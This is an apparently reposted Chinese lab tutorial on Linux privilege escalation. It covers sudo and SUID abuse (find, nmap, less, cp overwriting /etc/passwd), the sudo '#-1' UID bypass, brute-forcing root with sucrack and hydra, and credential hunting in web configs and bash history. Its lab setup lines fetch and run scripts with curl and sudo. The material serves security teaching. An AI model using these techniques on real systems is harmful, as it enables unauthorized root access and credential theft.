admin管理员组文章数量:1794759
2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 中集———— 作者:LJS
3.5 Linux 提权之 sudo 提权
实验介绍
本实验主要介绍 sudo 配置文件语法,并通过三个实验帮助你快速掌握三种常见的通过 sudo 提权的方法。
知识点
什么是 sudo 权限
/etc/sudoers
配置文件语法
sudo 错误配置导致的提权
sudo 本身的漏洞导致的提权
什么是 sudo 权限
Linux 中,sudo 命令的作用是让当前用户以 root 或其他用户身份(取决于 /etc/sudoers 文件配置)运行命令,sudo 这个词是「Super User Do root privilege task」的缩写。
而 /etc/sudoers
就是 sudo 权限的配置文件,该文件用于配置具有 sudo 权限的用户和组,当你使用 sudo 运行任何命令时,Linux 系统会检查 sudoers 文件中配置的用户名或组,若当前用户和当前用户所在的用户组均不在 sudoers 文件中,则不能使用 sudo 命令。
Sudo 配置文件语法
sudo 的配置文件是 /etc/sudoers
,使用如下命令查看实验主机上 sudoers
的配置:
sudo cat /etc/sudoers
重点关注 # User Privilege specification
这行下面的内容,此处是针对特定的用户配置 sudo 权限,如上图所示可以看到一条配置:
root ALL=(ALL:ALL) ALL
这行配置的含义如下图所示(Tag 是可选的):
这行配置意为:root 用户在所有的主机上,能够以任何用户、任何用户组的权限,执行任何命令。
很多同学会有疑惑,上面提到的”任何用户/任何用户组“是什么意思呢?
其实是因为我们在执行 sudo 命令时,可以使用-u
来指定命令以某个特定用户的权限运行,只要 sudoers 文件中配置允许就可以,例如我们想以用户 www-data 的权限来执行 whoami 命令:
sudo -u www-data whoami
同理也可以使用-g
来指定命令以某个特定用户组的权限运行。
Tag
是可选的,当被设置为 NOPASSWD 时,意味着执行 sudo 无需密码。
下面通过一个实例来说明如何配置 sudoers:
假设我们要允许用户 lanqiao
可以在所有主机上,以 root 用户的权限执行 more 和 cp 命令且无需输入密码,那么可以这样配置:
# 多个命令用,分割
lanqiao ALL=(root:root) NOPASSWD:/bin/cp,/bin/more
# 用户和用户组相同时,可以简写为一个
lanqiao ALL=(root) NOPASSWD:/bin/cp,/bin/more
理论知识先讲到这里,相信大家对 sudoers 的配置语法已经有了基本的理解,下面我们通过实验来学习几种常见的通过 sudo 提权的方法。
具有 root 权限的命令
这种情况是指:可以通过 sudo 以 root 权限执行某些命令,并通过这些命令获得一个 root 权限的 shell,又细分了两种情况:
允许执行某个或某些命令,且未对命令参数做限制
只允许执行某条带参数的具体命令
第一种:sudo 允许执行某个命令,但未对命令参数做限制
执行如下命令,完成初始化实验环境:
代码语言:javascript代码运行次数:0运行复制curl .sh > ~/init_sudo_1.sh;chmod +x ~/init_sudo_1.sh;sudo ./init_sudo_1.sh
如上图所示,此时我们已经切换为了普通用户 tomcat-syl (用于模拟攻击者获取的初始 shell ),接下来需要通过 sudo 的配置疏漏提升到 root 权限。
使用sudo -l
命令查看当前用户的 sudo 权限:
如上图所示,可以看到如下一行配置:
代码语言:javascript代码运行次数:0运行复制(root) NOPASSWD:/usr/bin/find
等同于:
代码语言:javascript代码运行次数:0运行复制tomcat-syl ALL=(root) NOPASSWD:/usr/bin/find
意为 tomcat-syl 被允许以 root 权限执行 find 命令,并且无需密码。这种场景的提权方法和实验四中我们讲过的 SUID 提权非常相似,可以通过下面这条命令提权:
代码语言:javascript代码运行次数:0运行复制sudo find /home -exec /bin/bash \;
可以看到成功提权到 root 权限,原理如果不清楚的同学可以再回去看一下实验四,这里不再赘述。
如果是其他命令,和之前实验四中我们讲过的一样,可以通过该网址查询提权方法:
通过搜索找到对应的命令,查看详情便可知道具体提权方法。
第二种:sudo 允许执行某条带参数的具体命令
重新打开一个终端,执行如下命令,完成初始化实验环境:
代码语言:javascript代码运行次数:0运行复制curl .sh > ~/init_sudo_2.sh;chmod +x ~/init_sudo_2.sh;sudo ~/init_sudo_2.sh
同样使用sudo -l
命令查看当前用户的 sudo 权限:
可以看到如下一行配置:
代码语言:javascript代码运行次数:0运行复制(root) NOPASSWD: /bin/less /var/log/messages
等同于:
代码语言:javascript代码运行次数:0运行复制tomcat-syl ALL=(root) NOPASSWD: /bin/less /var/log/messages
注意: /bin/less
和/var/log/messages
之前没有,
说明这是一条完整的命令。
意为:tomcat-syl 被允许以 root 权限执行命令 less /var/log/messages
,这种情况下由于命令参数被写死,所以发挥空间就没有第一种那么大了,一般只有特定的一些情况可以提权,less 命令是其中之一。
键入如下命令查看日志,
代码语言:javascript代码运行次数:0运行复制 sudo less /var/log/messages
随后输入可以获得一个 root 权限的 shell:
代码语言:javascript代码运行次数:0运行复制 !/bin/bash
sudo 自身的漏洞
执行如下命令,完成初始化实验环境:
代码语言:javascript代码运行次数:0运行复制curl .sh > ~/init_sudo_3.sh;chmod +x ~/init_sudo_3.sh;sudo ~/init_sudo_3.sh
首先使用 sudo -l 查看当前用户的 sudo 权限:
注意ALL
和!root
之间是用逗号隔开的,意为:tomcat-syl 用户可以以任意非 root 身份运行所有的命令且无需密码。
例如我们指定以 shiyanlou 用户的身份运行 whomai 命令:
代码语言:javascript代码运行次数:0运行复制sudo -u shiyanlou whoami
如上图所示,此时的用户权限为 shiyanlou。
若指定以 root 用户的身份运行 ,则系统会提示输入密码:
代码语言:javascript代码运行次数:0运行复制sudo -u root whoami
看来我们无法通过常规的 sudo 提权方法提升至 root 权限,但是别着急,下面我们再尝试一下 sudo 本身的漏洞。
首先使用 sudo —-verison
来查看实验主机上 sudo 的版本:
如上图所示,sudo 版本为 1.8.16。
这里要为大家介绍一个在渗透测试中用的非常多的网站——「exploit-db」
,是 Kali Linux 开发团队维护用于收集公开漏洞情报的平台,在 Kali Linux 中内置的 searchsploit 命令行工具对应的数据就来自「exploit-db」
左边选择 EXPLOITS
,点击右上角的搜索图标,输入 sudo 1.8
进行搜索:
搜索结果中展示了几个 sudo 的漏洞,点击sudo 1.8.27 - Security Bypass
查看详情:
该漏洞在 1.8.28 版本修复了,我们实验环境中是 1.8.16,很幸运的也在影响范围内,该漏洞的原理如下:
当用户在使用 sudo 命令时,通过指定 UID 为 #-1 或 #4294967295,就可以以 root 身份执行命令。 这是因为命令在将 UID 转换为对应用户时,会将 -1 或 4294967295 这两个异常数字视为 0,而 0 是 root 用户的 UID。
下面我们尝试一个这个漏洞,在命令行执行以下命令:
代码语言:javascript代码运行次数:0运行复制sudo -u "#-1" whoami
sudo -u "#4294967295" whoami
如上图所示,我们成功绕过了 sudoers 配置文件的限制。
类似于之前 SUID 提权中提到的,使用如下命令便可获得一个 root 权限的 shell:
当然 sudo 还有其他漏洞可以被利用来提权,我们这里只是抛砖引玉,同学们在实战的时候可以根据 sudo 的版本,在 exploitdb 上查询具体的漏洞来进行利用。
实验总结
在本节实验中,我们首先学习了 sudo 配置文件的语法,然后通过实验掌握了通过 sudo 配置疏漏进行提权的方法,最后学习了通过 sudo 本身的漏洞进行提权的方法,至此我们已经学完了在实战中最常见的 sudo 提权方法,祝你在接下来的技巧课程中学习愉快,学有所获~
3.6 Linux 提权之 SUID 提权
实验介绍
在本节实验主要介绍什么是 SUID 权限,并通过实验分别学习通过 nmap、find、cp、mv
四种命令提权至 root 用户的方法。
知识点
SUID
权限的定义
nmap
提权
find
命令提权
cp/mv
命令提权
实验开始
什么是 SUID
通常情况下,Linux 运行一个程序,是使用当前运行这个程序的用户权限,这种机制是非常合理的,但有一些程序比较特殊,比如我们常用的 ping
命令。
ping
需要发送 ICMP 报文,这个操作需要发送 Raw Socket,而使用 Raw Socket 是需要 root
权限,那怎么才能让普通用户也能使用 ping
命令呢?这时候就要使用到 suid
。
suid
全称是 Set owner User ID up on execution ,即——使文件在执行时拥有文件所有者的权限。
我们使用如下命令查看 ping 命令的权限设置:
代码语言:javascript代码运行次数:0运行复制ls -alh /bin/ping
你会发现 ping
的权限中多了一个 s
,这就是 suid。因此无论任何用户在执行 ping
命令时,ping
命令本身都将拥有其所有者的权限,而 ping
的所有者是 root 用户,所以 ping
就拥有了 root 权限。
试想,如果拥有 suid
权限(root)的某文件提供了文件修改、执行系统命令的功能,那就能被攻击者恶意利用来提升系统权限——这就是 SUID 提权的原理。
下面给大家介绍几种常用的 SUID 提权方法。
nmap 提权
首先需要初始化实验环境,打开终端并执行如下命令:
代码语言:javascript代码运行次数:0运行复制curl .sh > ~/init_suid_nmap.sh;chmod +x ~/init_suid_nmap.sh;sudo ./init_suid_nmap.sh
当使用 nmap
进行「UDP 扫描」或「SYN 扫描」时,需要调用 Raw Socket,因此需要 root 权限。
nmap
默认不具有 suid
权限,每次使用的都需要加上 sudo
:
有些管理员为了使用方便,便给 nmap 加上了 s
权限。
但别忘了,仅具有 s 权限是不能用于提权的,还需要该文件拥有执行系统命令
或修改文件
的功能,恰巧 nmap 2.02 ~ 5.21
版本提供了执行系统命令的功能。
使用命令 nmap --version 查看实验环境中 nmap 的版本:
恰好是 2.01~5.21
之间的版本,此版本可使用命令 nmap --interactive
进入一个交互界面,在该模式下输入 !sh
便可获取一个 shell,如下图所示
由于此时 nmap 并不具有 s
权限,因此获取到的 shell 为 shiyanlou 用户权限。
使用如下命令给 nmap 加上 s
权限:
sudo chmod u+s /usr/bin/nmap
此时 nmap 已经拥有了 s 权限,且文件所有者为 root 用户,再尝试以上方法便可获得 root 权限的 shell。
find 提权
当 find 命令具有 s 权限时,可以借助 find 执行系统命令从而提权。
使用如下命令查看 find
命令权限:
ls -alh /usr/bin/find
find 执行系统命令的语法如下:
代码语言:javascript代码运行次数:0运行复制find <file> -exec <command> \;
其中 <file>
可以为任意文件,因此我们可以先使用 touch
命令创建一个文件 test
:
然后通过 test 文件执行命令:
代码语言:javascript代码运行次数:0运行复制find test -exec whoami \;
这样就能以 root 权限执行命令了,但每次执行命令都要这样写未免很麻烦,并且正如之前我们在「TTY shell」中我们讲到了,这种方式并不支持需要交互的命令,例如 ssh、su
等。
同学们可以稍微思考一下:如何获取一个更方便的 root 权限的 shell 呢?
其实方法很简单,我们可以直接执行 /bin/bash 命令即可:
代码语言:javascript代码运行次数:0运行复制find test -exec /bin/bash -p \;
注意:必须使用 -p
参数,否者无法获取 root 权限,至于原因可以参看这篇文章,这里不再赘述。
cp 和 mv 命令
当 cp
和 move
命令具有 s 权限时,可以通过覆盖 /etc/passwd
或 /etc/shadow
文件,从而获取 root 权限。
使用命令 ls -alh /bin/cp
查看 cp
命令权限,可以看到 cp
已经有了 s 权限:
先将 /etc/passwd
的内容复制一份到用户主目录下 ~/passwd
:
cat /etc/passwd > ~/passwd
此处不使用 cp 进行复制,因为 cp 会将文件权限一起复制。
然后利用之前在「Linux 提权之 passwd 文件提权」这一章节中提到的方法,我们创建一行用户数据如下:
用户名:hacked
密码:pass123
代码语言:javascript代码运行次数:0运行复制hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
注意:此处不使用 cp 进行复制,因为 cp 会将文件权限一起复制。
然后将这行添加到 ~/passwd
文件中:
echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> ~/passwd
最后,通过 cp
命令的 s 权限,用 ~/passwd
覆盖 /etc/passwd
:
cp ~/passwd /etc/passwd
覆盖完成后,通过 su hacked
命令切换即可切换到 hacked 用户(密码 pass123):
由于 hacked 用户的 uid=0
,因此我们切换之后成功获取到 root 权限。
move
命令的提权方法和 cp
命令非常类似,这里就不再赘述,同学们可以自行尝试一下,如果你有问题欢迎留言。
以上已经给大家介绍了多种 SUID 可执行文件的提权方法,实际上可用于 SUID 提权的还有很多,这里就不给大家一一列举了,可以该网址查询提权方法:
通过搜索找到对应的命令,查看详情便可知道具体提权方法。
如何查找 SUID 可执行文件
在实战中,我们可以使用如下命令来查找主机上所有具有 s
权限的可执行文件:
find / -user root -perm -4000 -print 2 >/dev/null
#在整个文件系统中查找属主为 root(-user root)并且设置了 setuid 位(-perm -4000)的文件,并将结果打印出来。其中 -perm -4000 表示文件设置了 setuid 位,这意味着当这些文件被执行时,会以文件所有者的权限来执行。2>/dev/null 表示将错误输出重定向到 /dev/null,即忽略错误信息。
find / -perm -u=s -type f 2>/dev/null
#在整个文件系统中查找设置了 setuid 位的普通文件,并将结果打印出来。-perm -u=s 表示查找设置了 setuid 位的文件,-type f 表示只查找普通文件,不包括目录等其他类型的文件。
find / -user root -perm -4000 -exec ls -ldb {} \;
#。在这个命令中,-exec ls -ldb {} \; 表示对找到的每个文件执行 ls -ldb 命令,{} 会被替换为实际找到的文件名。
但是查询结果中,通常有大量的无法利用来提权的可执行文件,需要人工进行分析。
有没有办法通过自动化脚本来自动分析呢?有的,我写了一个简单的脚本来成自动化分析
使用 wget
下载 suidcheck.sh
:
wget .sh
给 suidcheck.sh
加上可执行权限并执行:
chmod +x suidcheck.sh
./suidcheck.sh
红框中的结果,就是可用来提权的可执行文件:
此脚本非常简单,各位同学如果有时间和兴趣也可以自己编写脚本,别忘了在评论区留言分享你的成果哦!
实验总结
在本节实验中,我们学习了什么是 SUID 权限,并掌握了通过 nmap、find、cp
三种命令提权的方法。
实际上可通过 SUID 提权的命令远不止这三种,例如 cat、vim、more、sed
等命令也都可以进行 SUID 提权,但只要你掌握实验中提到的提权思路,其他命令也就能融会贯通了。
给同学们布置一个小任务
同学们可在实验环境中尝试通过 diff 命令进行 SUID 提权。
3.7 Linux 提权之暴力破解提权
- 实验介绍
- 本章实验主要介绍通过暴力破解来获取 root 用户密码的两种方法和对应的破解工具,并通过实验帮助你理解其中的原理,避免一些容易采坑的地方。
- 知识点
- sucrack 工具的安装和使用
- 通过 hydra 工具爆破 SSH 协议
- 实验开始
- 在前面的实验中,我们已经为大家介绍了多种 Linux 提权方法,这些方法已经覆盖到了实战中的绝大部分场景,但如果你遇到前面所有的方法都无法成功提权时,别忘了还有一种最原始但有用的方法可以尝试——暴力破解。
- 通常来说,可以通过两种途径暴力破解 root 用户的密码:
- 通过 su 命令爆破 root 密码
- 通过 SSH 协议爆破 root 密码
- 下面我依次为大家介绍这两种方法。
- 通过 su 命令暴破 root 密码
- Linux su 命令用于切换为其他使用者身份,除 root 外,其他用户使用时需要输入将要切换的「目标用户」的密码。
- su 命令暴力破解使用的工具是
sucrack
。 - sucrack 介绍和安装
- sucrack 是一个多线程的
Linux
工具,用于通过 su 爆破本地用户密码。 - 因为 su 命令需要从 TTY shell 获取用户输入,因此不能只用一个简单的 shell 脚本来完成爆破,sucrack 是采用 c 语言编写的工具,并且支持多线程,爆破效率非常高。
- sucrakck 官方地址如下:
在实战环境中,靶机可能是无法连接外网的,因此我们可以使用如下两种方法安装 sucrack:
下载sucrack
源码并上传到靶机上,再编译运行。
下载sucrack
源码,在本地编译好之后再上传到靶机运行。
本课程旨在为大家演示 sucrack
的用法,因此为了方便我们直接使用 apt 安装 sucrack :.shtml
.shtml
代码语言:javascript代码运行次数:0运行复制sudo apt install sucrack
如上图所示,安装成功。
sucrack 使用方法
sucrack 的用法非常简单,最基础的命令如下:
代码语言:javascript代码运行次数:0运行复制sucrack -w 20 wordlists.txt
参数解释:
-w
指定线程数
wordlists.txt
爆破使用的字典
sucrack 默认爆破 root 用户,你也可以使用 -u
指定要爆破的用户:
在尝试爆破之前,我们先执行如下命令来部署实验环境:
代码语言:javascript代码运行次数:0运行复制curl .sh > ~/init_forcebrute.sh;chmod +x ~/init_forcebrute.sh;sudo ./init_forcebrute.sh
如上图所示,此时我们已经切换为了普通用户 www-data ,接下来我们将在实验中,通过暴力破解的方法获取 root 用户的密码。
我预先准备了一份密码字典用于演示,存放在 /tmp/common-wordlists.tx
t
,同学们也可以使用自己的字典。
使用如下命令尝试爆破 root 密码,线程数保守一点设定为 20:
代码语言:javascript代码运行次数:0运行复制sucrack -w 20 /tmp/common-wordlists.txt
开始爆破之后,按键盘任意键刷新显示进度:
等待一会,成功破解出 root 用户的密码为 XXXXly:
然后使用 su root
切换为 root 用户:
sucrack 功能是非常简单强大的,你学会了吗?
通过 SSH 爆破 root 密码
SSH 服务介绍
SSH 服务的配置文件有为两个,分别是:
/etc/ssh/ssh_config : 客户端的配置文件
/etc/ssh/sshd_config : 服务端的配置文件
仅当 /etc/ssh/sshd_config
中 PermitRootLogin
设置为 yes,root 用户才能登录 ssh:
因此,在通过 ssh 爆破 root 用户密码之前,我们需要先使用如下命令来查询靶机是否允许 root 用户通过 ssh 登录:
代码语言:javascript代码运行次数:0运行复制cat /etc/ssh/sshd_config |grep -i permitrootlogin
当 PermitRootLogin 被设置为 `yes` 时,才用尝试 SSH 暴力破解,否则就没必要在尝试了
hydra 介绍和使用方法
SSH 协议爆破使用到的工具是 hydra,hydra 是一款非常著名的爆破工具,除了 SSH 协议以外,hydra 还支持众多其他协议例如 RDP、SMB、HTTP、MySQL 等,由于篇幅有限,具体可以参考下面这篇文章:
/README.md
/README.md
hydra 在 Kali Linux 上默认安装,实验主机的 ubuntu 环境也已经提前安装好,爆破 SSH 协议的语法如下:
代码语言:javascript代码运行次数:0运行复制hydra -l root -P passwords.txt -t 4 -V <IP> ssh
参数解释:
-l
: 指定用户名
-P
: 指定爆破字典
-t
: 指定爆破线程
-V
: 查看破解详情、进度
下面我们尝试爆破 root 用户的密码,字典仍然使用 /tmp/common-wordlists.txt
:
hydra -l root -P /tmp/common-wordlists.txt -t 64 -V 127.0.0.1 ssh
如上图所示,成功爆破出 root 用户的密码。
注意:如果你使用的 hydra 是 v9.0 之前的版本,在爆破 ssh 协议时很可能会出现误报,请先升级后再使用(实验环境是 v9.2)。
实验总结
在本节实验中,我们学习了通过两种途径爆破 SSH 服务的方法—— su
和 SSH
,并且分别介绍了对应的两种破解工具的使用。
祝你在接下来的技巧课程中学习愉快,学有所获~
3.8 Linux 提权之查找敏感文件提权
实验介绍
本实验主要介绍 Web 服务配置文件和用户相关配置文件的作用,并通过两个实验分别从以上两种场景入手,提权到 root 权限。
知识点
重点关注的 Web 配置文件
通过 Web 配置文件提权方法
重点关注的用户相关的配置文件
通过用户相关配置文件提权方法
实验开始
假设我们已经通过 Web 漏洞反弹回一个 shell,是 www-data 用户的权限。
通过尝试之前几个实验中的方法都未成功,那么我们可以尝试在 Linux 上是否能寻找到一些认证信息,并利用该认证信息进行提权。
在本章中,我们会通过两个实验,分别从 Web 服务配置文件
和用户配置文件
入手,收集信息并完成提权。
Web 服务配置文件
有时候通过查找服务器上的 Web 配置文件,可以发现数据库的连接账户和密码。登录数据库后,通过收集数据库中存储的用户密码,并且管理员如果存在密码复用的情况,即可完成提权,下面我们通过一个具体的实验来理解一下。
首先执行如下命令以初始化实验环境:
代码语言:javascript代码运行次数:0运行复制curl .sh > ~/init_90_web.sh;chmod +x ~/init_90_web.sh;sudo ./init_90_web.sh
如上图所示,实验环境初始化完成,此时我们切换到了 www-data
用户——用于模拟通过 Web 漏洞反弹回的初始 shell。
通常情况下,Linux Web 服务存放的路劲为 /var/www
目录,在该路径下我们重点关注以下文件:
database.php
user.php
*.config
config.php
我们可以通过以下命令来搜索:
代码语言:javascript代码运行次数:0运行复制find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null
#find /var/www: 表示从 /var/www 目录开始查找。
#-type f: 表示只查找普通文件。
#\( ... \): 这是一个逻辑组合,用于将多个条件组合在一起。在这个括号内,使用 -iname 选项来忽略文件名的大小写进行匹配。
#-o: 表示逻辑或(OR),用于组合多个条件。
#-iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config": 这是四个条件的逻辑组合,分别用于匹配文件名为 "user.php"、"database.php"、"config.php"、以及以 ".config" 结尾的文件。
#2>/dev/null: 表示将错误输出重定向到 /dev/null,即忽略错误信息。
当然不仅限于以上文件,并且如果目标主机采用了 CMS,我们可以通过谷歌查询该 CMS 的默认数据库连接文件的存放位置。
在实验主机上,查看 /var/www 目录的文件:
代码语言:javascript代码运行次数:0运行复制 ls -lh /var/www
我们发现主机使用了 WordPress 内容管理系统,通过谷歌查询得知,WordPress 的数据库配置信息存放在$root/wp-config.php
,查看一下:
more /var/www/wordpress/wp-config.php
如上图所示,成功找到了 MySQL 的 root 账户和密码:
代码语言:javascript代码运行次数:0运行复制 root:cD8M2M8fMiDHu4m1
考虑到管理员可能存在密码复用的情况,尝试使用密码 cD8M2M8fMiDHu4m1
登录系统 root 账户:
但是很可惜,并没有登录成功。
接下来我们登录 mysql 数据库,看看能否在数据库中发现一些信息:
代码语言:javascript代码运行次数:0运行复制mysql -u root -p -h 127.0.0.1
#-p: 这个选项表示需要输入密码才能登录到 MySQL 服务器。当你使用 -p 选项时,MySQL 会提示你输入密码,以确保安全性。在命令中没有指定密码,因此在执行命令后,系统将要求你输入密码。
然后分别执行以下命令,来在 MySQL 数据库中收集信息:
代码语言:javascript代码运行次数:0运行复制show databases;
use ROB
show tables;
select * from rob_user;
如上图所示,收集到两个用户、密码信息:
代码语言:javascript代码运行次数:0运行复制root:CMPc5MoAGf
alice:psoj9apv4u
成功登录 root 用户。
至此,我们学习了通过寻找 Web 服务的配置文件来提权的一种方法,实际上并不一定是找 Web 服务的配置文件,其核心是通过寻找服务器上的敏感认证信息并结合密码复用进行提权的一种思想。
还有一种关于 mysql 的提权方法——MySQL UDF 提权,该方法在 Windows 和 Linux 上都可用。
UDF 是 MySQL 的一个共享库,通过 UDF 创建能够执行系统命令的函数 sys_exec、sys_eval ,可以 UDF 执行系统命令来提权,但要利用 MySQL UDF 有两个条件:
- 获取到 mysql root 账户密码
- MySQL 在系统上以 root 权限运行,没有被降权(实际上这种情况比较少)
- 由于蓝桥实验环境的限制,无法设计相关实验,有兴趣的同学可以百度、谷歌研究一下。
用户相关配置文件
我们主要关注下面两个用户相关的配置文件;
代码语言:javascript代码运行次数:0运行复制~/.bash_profile
用于配置环境变量和启动程序,当用户登录(login)时,该文件会被执行,在某些 Linux 发行版本中,该文件是默认不创建的。
代码语言:javascript代码运行次数:0运行复制~/.bash_history
每个用户的主目录下都定义了一个`.bash_history`文件,用于记录用户 shell 历史命令,默认记录最近输入的 1000 条命令,我们也许可以从中收集到一些敏感信息(部分 Linux 发行版本默认关闭了该共功能),在某些 Linux 发行版本中,默认关闭了该功能,可以尝试用 `history`命令查看。
首先执行如下命令以初始化实验环境:
代码语言:javascript代码运行次数:0运行复制curl .sh > ~/init_90_learning_2.sh;chmod +x ~/init_90_learning_2.sh;sudo ./init_90_learning_2.sh
如上图所示,实验环境初始化完成后,我们切换到了 tomcat-syl 用户。
首先查看 ~/.bash_profile
文件,看是否能收集到一下敏感信息:
cat ~/.bash_profile
但是很可惜,看来用户 tomcat-syl 并没有使用~/.bash_profile
文件。
再查看一下 ~/.bash_history
文件:
cat ~/.bash_history
发现这一行历史命令记录:
代码语言:javascript代码运行次数:0运行复制echo tomcat-syl:09FMWNFS7n|chpasswd
这条命令的含义是:修改 tomcat-syl 用户的密码为 09FMWNFS7n,我们尝试一下能否用该密码执行 sudo :
代码语言:javascript代码运行次数:0运行复制sudo whoami
如上图所示,密码正确,并且能够执行 sudo 权限。接下来使用之前学过的知识获取一个 root 权限的 shell:
代码语言:javascript代码运行次数:0运行复制sudo /bin/bash -p
实验总结
在本节实验中,我们学习了重点查找服务器上哪些 Web 相关的配置文件和用户相关的配置文件,随后在实验中学习了通过以上两者进行提权的方法。
本章的核心挂念是,在 Linux 主机上查找一些可能存放了敏感信息的文件,并不仅限于 Web 配置文件和用户配置文件, 还有一些重要文件也需要我们关注,例如:
备份文件,例如 SSH 秘钥、登录凭证等,可通过如下命令查找:
代码语言:javascript代码运行次数:0运行复制find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
#\( ... \): 这是用于组合多个条件的括号。在这里,括号中包含了多个 -name 选项,用于指定文件名的模式。
#-name "*backup*": 这个选项用于匹配文件名中包含 "backup" 的文件。
#-o: 这个选项表示逻辑或(OR)。它用于组合多个条件,表示只要满足其中一个条件即可。
#-name "*\.bak" -o -name "*\.bck" -o -name "*\.bk": 这些选项用于匹配以 ".bak"、".bck" 或 ".bk" 结尾的文件名。
Sqlite DB 文件
本章节篇幅有限,不可能列举所有的敏感文件,但只要我们掌握通过敏感文件收集信息的核心思想,便能一法通时万法通了。
祝你在接下来的课程中学习愉快,学有所获~
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。 原始发表:2024-06-07,如有侵权请联系 cloudcommunity@tencent 删除技巧配置权限linux网络安全本文标签: 2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 中集 作者LJS
版权声明:本文标题:2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 中集———— 作者:LJS 内容由林淑君副主任自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.xiehuijuan.com/baike/1754672401a1705037.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论